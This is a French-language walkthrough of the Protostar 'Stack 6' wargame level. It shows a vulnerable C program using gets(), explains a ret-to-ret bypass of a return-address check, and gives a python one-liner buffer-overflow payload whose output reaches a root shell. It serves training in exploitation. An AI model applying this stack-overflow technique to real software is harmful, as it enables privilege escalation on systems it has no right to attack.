====== Stack 6 ====== #include #include #include #include void getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xbf000000) == 0xbf000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); } int main(int argc, char **argv) { getpath(); } Petite difficulté en plus, cette fois ci nous ne pouvons pas faire sauter directement le programme sur une adresse commençant par ''0xbf''. Cependant, si on fait sauter le programme sur lui même, sur un ''ret'' par exemple. Il va dépiler une adresse et sauter dessus de nouveau ! Il suffit de donc de faire sauter le programme sur un ''ret'' et de donner ensuite l'adresse de notre shellcode pour que celui ci saute dessus. user@protostar:/opt/protostar/bin$ objdump -S ./stack6 | grep ret 804835f: c3 ret <<<< On prend celui ci par exemple 8048454: c3 ret 8048482: c3 ret 80484f9: c3 ret 8048508: c3 ret 8048514: c3 ret 8048579: c3 ret 804857d: c3 ret 80485a9: c3 ret 80485c7: c3 ret user@protostar:/opt/protostar/bin$ (python -c 'print "A"*80+"\x5f\x83\x04\x08"+"\x6f\xfd\xff\xbf"'; cat) | ./stack6 input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_AAAAAAAAAAAA_o??? id uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)